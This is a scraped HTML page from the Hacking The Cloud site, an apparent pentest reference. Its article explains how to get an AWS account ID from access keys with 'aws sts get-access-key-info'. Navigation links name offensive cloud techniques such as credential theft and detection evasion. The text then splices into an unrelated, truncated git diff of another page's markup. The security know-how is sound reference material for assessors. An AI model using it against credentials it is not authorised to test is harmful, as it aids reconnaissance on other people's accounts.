4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stsgetaccesskeyinfo class=md-nav__link> <span class=md-ellipsis> sts:GetAccessKeyInfo </span> </a> </li> <li class=md-nav__item> <a href=#decode-the-access-key class=md-nav__link> <span class=md-ellipsis> Decode the access key </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#stsgetaccesskeyinfo class=md-nav__link> <span class=md-ellipsis> sts:GetAccessKeyInfo </span> </a> </li> <li class=md-nav__item> <a href=#decode-the-access-key class=md-nav__link> <span class=md-ellipsis> Decode the access key </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/get-account-id-from-keys.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Get Account ID from AWS Access Keys</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <ul> <li><a href=https://awsteele.com/blog/2020/09/26/aws-access-key-format.html>AWS Access Key ID Formats</a> by <a href=https://twitter.com/__steele>Aidan Steele</a></li> <li><a href=https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489>A short note on AWS KEY ID</a> by <a href=https://twitter.com/TalBeerySec>Tal Be'ery</a></li> </ul> </li> </ul> </div> <p>While performing an assessment in AWS environments it is not uncommon to come across access keys and not know what account they are associated with. If your scope is defined by the AWS account ID, this may pose a problem as you'd likely not want to use them if they are out of scope.</p> <p>To solve this problem, there are multiple ways to determine the account ID of IAM credentials.</p> <h2 id=stsgetaccesskeyinfo>sts:GetAccessKeyInfo<a class=headerlink href=#stsgetaccesskeyinfo title="Permanent link">&para;</a></h2> <p>Likely the most straightforward way is to use <a href=https://docs.aws.amazon.com/STS/latest/APIReference/API_GetAccessKeyInfo.html>sts:GetAccessKeyInfo</a> to return the account ID of the credentials. This action will only be logged to the account calling the action (which should be your account, not the target's).</p> <div class=highlight><pre><span></span><code>user@host:~$ aws sts get-access-key-info --access-key-id=ASIA1234567890123456
 {
     &quot;Account&quot;: &quot;123456789012&quot;
 }
diff --git a/aws/enumeration/loot_public_ebs_snapshots/index.html b/aws/enumeration/loot_public_ebs_snapshots/index.html
index cc47408ea..d78c750e8 100644
--- a/aws/enumeration/loot_public_ebs_snapshots/index.html
+++ b/aws/enumeration/loot_public_ebs_snapshots/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to find and take advantage of exposed EBS snapshots."><link href=https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ rel=canonical><link href=../get-account-id-from-keys/ rel=prev><link href=../whoami/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Loot Public EBS Snapshots - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Loot Public EBS Snapshots - Hacking The Cloud"><meta property=og:description content="How to find and take advantage of exposed EBS snapshots."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Loot Public EBS Snapshots - Hacking The Cloud"><meta property=twitter:description content="How to find and take advantage of exposed EBS snapshots."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to find and take advantage of exposed EBS snapshots."><link href=https://hackingthe.cloud/aws/enumeration/loot_public_ebs_snapshots/ rel=canonical><link href=../get-account-id-from-keys/ rel=prev><link href=../whoami/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Loot Public EBS Snapshots - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Loot Public EBS Snapshots - Hacking The Cloud"><meta property=og:description content="How to find and take advantage of exposed EBS snapshots."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/enumeration/loot_public_ebs_snapshots.png><meta property=og:image:type 